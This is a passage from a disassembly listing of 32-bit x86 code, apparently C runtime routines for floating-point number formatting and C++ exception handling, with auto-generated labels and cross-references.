		mov	[esi], cl
		inc	esi


loc_422126:				; CODE XREF: sub_4220DB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_422126
		pop	esi
		retn
sub_4220DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_422135	proc near		; CODE XREF: sub_41FE9F+3E2p
					; DATA XREF: sub_41CF30+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43F1F8
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_422151


loc_422145:				; CODE XREF: sub_422135+1Aj
		cmp	cl, dl
		jz	short loc_422151
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_422145


loc_422151:				; CODE XREF: sub_422135+Ej
					; sub_422135+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_422182


loc_422158:				; CODE XREF: sub_422135+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42216B
		cmp	cl, 65h
		jz	short loc_42216B
		cmp	cl, 45h
		jz	short loc_42216B
		inc	eax
		jmp	short loc_422158
; ---------------------------------------------------------------------------


loc_42216B:				; CODE XREF: sub_422135+27j
					; sub_422135+2Cj ...
		mov	ecx, eax


loc_42216D:				; CODE XREF: sub_422135+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42216D
		cmp	[eax], dl
		jnz	short loc_422178
		dec	eax


loc_422178:				; CODE XREF: sub_422135+40j
					; sub_422135+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_422178

locret_422182:				; CODE XREF: sub_422135+21j
		retn
sub_422135	endp


; =============== S U B	R O U T	I N E =======================================



sub_422183	proc near		; DATA XREF: sub_41CF30+28o
					; .packed:off_43F5A0o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_428888
		fnstsw	ax
		sahf
		jb	short loc_422198
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422198:				; CODE XREF: sub_422183+Fj
		xor	eax, eax
		retn
sub_422183	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42219B	proc near		; CODE XREF: sub_420D10+430p
					; DATA XREF: sub_41CF30+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4221C4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424D48
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4221C4:				; CODE XREF: sub_42219B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424D75
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42219B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4221D9	proc near		; CODE XREF: sub_422456+17p
					; sub_4224A0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DE0C8, 0
		push	ebx
		push	esi
		jz	short loc_42220E
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DE0C4
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_4224F1
		pop	ecx
		pop	ecx
		jmp	short loc_422246
; ---------------------------------------------------------------------------


loc_42220E:				; CODE XREF: sub_4221D9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_424E19
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424DA2
		add	esp, 14h


loc_422246:				; CODE XREF: sub_4221D9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_422252
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_422252:				; CODE XREF: sub_4221D9+73j
		test	ebx, ebx
		jle	short loc_42226A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43F1F8
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_42226A:				; CODE XREF: sub_4221D9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DE0C8, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41C680
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_422291
		mov	byte ptr [ecx],	45h


loc_422291:				; CODE XREF: sub_4221D9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_4222D6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_4222A5
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_4222A5:				; CODE XREF: sub_4221D9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_4222BC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_4222BC:				; CODE XREF: sub_4221D9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_4222D3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_4222D3:				; CODE XREF: sub_4221D9+E7j
		add	[ecx+1], bl


loc_4222D6:				; CODE XREF: sub_4221D9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4221D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4222DD	proc near		; CODE XREF: sub_42247D+13p
					; sub_4224A0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DE0C8, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_422318
		mov	eax, dword_4DE0CC
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DE0C4
		cmp	eax, ebx
		jnz	short loc_422348
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_422348
; ---------------------------------------------------------------------------


loc_422318:				; CODE XREF: sub_4222DD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_424E19
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424DA2
		add	esp, 14h


loc_422348:				; CODE XREF: sub_4222DD+22j
					; sub_4222DD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_422356
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_422356:				; CODE XREF: sub_4222DD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_42236D
		push	1
		push	edi
		call	sub_4224F1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_42236F
; ---------------------------------------------------------------------------


loc_42236D:				; CODE XREF: sub_4222DD+7Ej
		add	edi, eax


loc_42236F:				; CODE XREF: sub_4222DD+8Ej
		test	ebx, ebx
		jle	short loc_4223B4
		push	1
		push	edi
		call	sub_4224F1
		mov	al, byte_43F1F8
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_4223B4
		cmp	byte_4DE0C8, 0
		jz	short loc_422399
		neg	esi
		jmp	short loc_42239F
; ---------------------------------------------------------------------------


loc_422399:				; CODE XREF: sub_4222DD+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_4223A1


loc_42239F:				; CODE XREF: sub_4222DD+BAj
		mov	ebx, esi


loc_4223A1:				; CODE XREF: sub_4222DD+C0j
		push	ebx
		push	edi
		call	sub_4224F1
		push	ebx
		push	30h
		push	edi
		call	sub_41BD60
		add	esp, 14h


loc_4223B4:				; CODE XREF: sub_4222DD+94j
					; sub_4222DD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4222DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4223BB	proc near		; CODE XREF: sub_4224A0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_424E19
		mov	dword_4DE0C4, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DE0CC, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424DA2
		mov	eax, dword_4DE0C4
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DE0CC, ecx
		setl	cl
		mov	byte_4DE0D0, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DE0CC, eax
		jl	short loc_422441
		cmp	eax, ebx
		jge	short loc_422441
		test	cl, cl
		jz	short loc_422432


loc_422428:				; CODE XREF: sub_4223BB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_422428
		and	[esi-2], al


loc_422432:				; CODE XREF: sub_4223BB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_42247D
		add	esp, 0Ch
		jmp	short loc_422451
; ---------------------------------------------------------------------------


loc_422441:				; CODE XREF: sub_4223BB+63j
					; sub_4223BB+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_422456
		add	esp, 10h


loc_422451:				; CODE XREF: sub_4223BB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4223BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_422456	proc near		; CODE XREF: sub_4223BB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DE0C8, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4221D9
		and	byte_4DE0C8, 0
		add	esp, 10h
		retn
sub_422456	endp


; =============== S U B	R O U T	I N E =======================================



sub_42247D	proc near		; CODE XREF: sub_4223BB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DE0C8, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4222DD
		and	byte_4DE0C8, 0
		add	esp, 0Ch
		retn
sub_42247D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4224A0	proc near		; CODE XREF: sub_41FE9F+3AAp
					; DATA XREF: sub_41CF30o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_4224DB
		cmp	[ebp+arg_8], 45h
		jz	short loc_4224DB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_4224C8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4222DD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4224C8:				; CODE XREF: sub_4224A0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4223BB
		jmp	short loc_4224EC
; ---------------------------------------------------------------------------


loc_4224DB:				; CODE XREF: sub_4224A0+7j
					; sub_4224A0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4221D9


loc_4224EC:				; CODE XREF: sub_4224A0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_4224A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4224F1	proc near		; CODE XREF: sub_4221D9+2Cp
					; sub_4222DD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_422514
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41B7B0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41D460
		add	esp, 10h
		pop	esi


loc_422514:				; CODE XREF: sub_4224F1+7j
		pop	edi
		retn
sub_4224F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422516	proc near		; CODE XREF: .packed:0041D110p
					; sub_41D179+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_42252C
		call	sub_422DB2


loc_42252C:				; CODE XREF: sub_422516+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_422554
		cmp	dword ptr [esi+4], 0
		jz	short loc_4225AA
		cmp	[ebp+arg_14], 0
		jnz	short loc_4225AA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42285D
		add	esp, 10h
		jmp	short loc_4225AA
; ---------------------------------------------------------------------------


loc_422554:				; CODE XREF: sub_422516+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_4225AA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42258E
		cmp	[eax+14h], edi
		jbe	short loc_42258E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_42258E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_4225AD
; ---------------------------------------------------------------------------


loc_42258E:				; CODE XREF: sub_422516+4Aj
					; sub_422516+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_4225B1
		add	esp, 20h


loc_4225AA:				; CODE XREF: sub_422516+23j
					; sub_422516+29j ...
		push	1
		pop	eax


loc_4225AD:				; CODE XREF: sub_422516+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_422516	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B1	proc near		; CODE XREF: sub_422516+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_4225D1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_4225D6


loc_4225D1:				; CODE XREF: sub_4225B1+16j
		call	sub_422DB2


loc_4225D6:				; CODE XREF: sub_4225B1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_42272D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_42264A
		cmp	[esi+14h], edi
		jnz	short loc_42264A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_42264A
		mov	esi, dword_4DE0D4
		test	esi, esi
		jz	loc_422728
		mov	eax, dword_4DE0D8
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424FA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_42262C
		call	sub_422DB2


loc_42262C:				; CODE XREF: sub_4225B1+74j
		cmp	[esi], ebx
		jnz	loc_42272D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_42264A
		cmp	[esi+14h], edi
		jnz	short loc_42264A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_42264A
		call	sub_422DB2


loc_42264A:				; CODE XREF: sub_4225B1+41j
					; sub_4225B1+46j ...
		cmp	[esi], ebx
		jnz	loc_42272D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_42272D
		cmp	[esi+14h], edi
		jnz	loc_42272D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D2C7
		add	esp, 14h
		mov	ebx, eax


loc_422681:				; CODE XREF: sub_4225B1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_422718
		cmp	[ebx], edi
		jg	short loc_42270D
		cmp	edi, [ebx+4]
		jg	short loc_42270D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_42270A


loc_4226A6:				; CODE XREF: sub_4225B1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_4226D7


loc_4226B8:				; CODE XREF: sub_4225B1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_422800
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4226E6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_4226B8


loc_4226D7:				; CODE XREF: sub_4225B1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_4226A6
		jmp	short loc_42270A
; ---------------------------------------------------------------------------


loc_4226E6:				; CODE XREF: sub_4225B1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422911
		add	esp, 2Ch


loc_42270A:				; CODE XREF: sub_4225B1+F3j
					; sub_4225B1+133j
		mov	edi, [ebp+var_10]


loc_42270D:				; CODE XREF: sub_4225B1+DEj
					; sub_4225B1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_422681
; ---------------------------------------------------------------------------


loc_422718:				; CODE XREF: sub_4225B1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_422728
		push	1
		push	esi
		call	sub_422C86
		pop	ecx
		pop	ecx


loc_422728:				; CODE XREF: sub_4225B1+56j
					; sub_4225B1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42272D:				; CODE XREF: sub_4225B1+37j
					; sub_4225B1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_422753
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422758
		add	esp, 20h
		jmp	short loc_422728
; ---------------------------------------------------------------------------


loc_422753:				; CODE XREF: sub_4225B1+180j
		jmp	sub_422D5C
sub_4225B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422758	proc near		; CODE XREF: sub_4225B1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DE0DC, 0
		push	esi
		push	edi
		jz	short loc_422789
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D19E
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4227FC


loc_422789:				; CODE XREF: sub_422758+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D2C7
		add	esp, 14h
		mov	esi, eax


loc_4227A5:				; CODE XREF: sub_422758+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_4227FC
		cmp	edi, [esi]
		jl	short loc_4227F4
		cmp	edi, [esi+4]
		jg	short loc_4227F4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_4227CE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_4227F4


loc_4227CE:				; CODE XREF: sub_422758+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422911
		add	esp, 2Ch


loc_4227F4:				; CODE XREF: sub_422758+57j
					; sub_422758+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_4227A5
; ---------------------------------------------------------------------------


loc_4227FC:				; CODE XREF: sub_422758+2Fj
					; sub_422758+53j
		pop	edi
		pop	esi
		leave
		retn
sub_422758	endp


; =============== S U B	R O U T	I N E =======================================



sub_422800	proc near		; CODE XREF: sub_4225B1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_422857
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_422857
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_422831
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422853


loc_422831:				; CODE XREF: sub_422800+1Fj
		test	byte ptr [esi],	2
		jz	short loc_42283B
		test	byte ptr [edi],	8
		jz	short loc_422853


loc_42283B:				; CODE XREF: sub_422800+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_42284A
		test	byte ptr [edi],	1
		jz	short loc_422853


loc_42284A:				; CODE XREF: sub_422800+43j
		test	al, 2
		jz	short loc_422857
		test	byte ptr [edi],	2
		jnz	short loc_422857


loc_422853:				; CODE XREF: sub_422800+2Fj
					; sub_422800+39j ...
		xor	eax, eax
		jmp	short loc_42285A
; ---------------------------------------------------------------------------


loc_422857:				; CODE XREF: sub_422800+Bj
					; sub_422800+14j ...
		push	1
		pop	eax


loc_42285A:				; CODE XREF: sub_422800+55j
		pop	edi
		pop	esi
		retn
sub_422800	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42285D	proc near		; CODE XREF: sub_422516+34p
					; sub_422911+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4288D0
		push	offset sub_423D9C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42288F:				; CODE XREF: sub_42285D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4228E9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42289E
		cmp	esi, [edi+4]
		jl	short loc_4228A3


loc_42289E:				; CODE XREF: sub_42285D+3Aj
		call	sub_422DB2


loc_4228A3:				; CODE XREF: sub_42285D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4228BE
		push	103h
		push	ebx
		push	eax
		call	sub_422D10


loc_4228BE:				; CODE XREF: sub_42285D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4228DE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4228FB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_4228DE:				; CODE XREF: sub_42285D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42288F
; ---------------------------------------------------------------------------


loc_4228E9:				; CODE XREF: sub_42285D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42285D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228FB	proc near		; CODE XREF: sub_42285D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_42290C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42290C:				; CODE XREF: sub_4228FB+Cj
		jmp	sub_422D5C
sub_4228FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422911	proc near		; CODE XREF: sub_4225B1+151p
					; sub_422758+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422933
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_422AC2
		add	esp, 10h


loc_422933:				; CODE XREF: sub_422911+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42293F
		push	edi
		jmp	short loc_422942
; ---------------------------------------------------------------------------


loc_42293F:				; CODE XREF: sub_422911+29j
		push	[ebp+arg_24]


